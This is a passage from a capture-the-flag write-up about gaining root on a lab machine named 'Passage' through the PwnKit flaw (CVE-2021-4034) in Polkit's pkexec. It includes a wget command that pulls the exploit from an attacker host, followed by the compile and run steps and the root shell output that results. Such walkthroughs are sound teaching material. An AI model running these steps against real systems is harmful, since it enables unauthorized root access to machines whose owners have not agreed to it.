Passage_Privilege_Escalation_2

CVE-2021-4034

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peas discovered that the target system is vulnerable to cve-2021-4034

The vulnerable program is a part of Polkit, which manages process privileges. Polkit’s pkexec allows for non-privileged processes to communicate with privileged ones, as well as instrumenting legitimate and authorized uses of privilege escalation similar to sudo.

A memory corruption flaw exists when no argument is passed to the function. By manipulating environment variables, an attacker can trick pkexec to load and execute arbitrary code with superuser privileges.

exploit (pwnkit):

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I found an exploit online

Exploitation

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www-data@passage:/dev/shm$ wgewget http://10.10.14.4/CVE-2021-4034.tar.gz ; tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034
--2023-03-17 08:58:25--  http://10.10.14.4/CVE-2021-4034.tar.gz
connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
length: 40791 (40K) [application/gzip]
saving to: 'CVE-2021-4034.tar.gz'
 
CVE-2021-4034.tar.gz 100%[===================>]  39.83K   163KB/s    in 0.2s    
 
2023-03-17 08:58:26 (163 KB/s) - 'CVE-2021-4034.tar.gz' saved [40791/40791]

Delivery complete

www-data@passage:/dev/shm/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true gconv_path=./pwnkit.so:.

Compile

www-data@passage:/dev/shm/CVE-2021-4034$ ./cve-2021-4034
# whoami
whoami
root
# hostname
hostname
passage
# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:04:69 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.206/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:469/64 scope global mngtmpaddr dynamic 
       valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb9:469/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise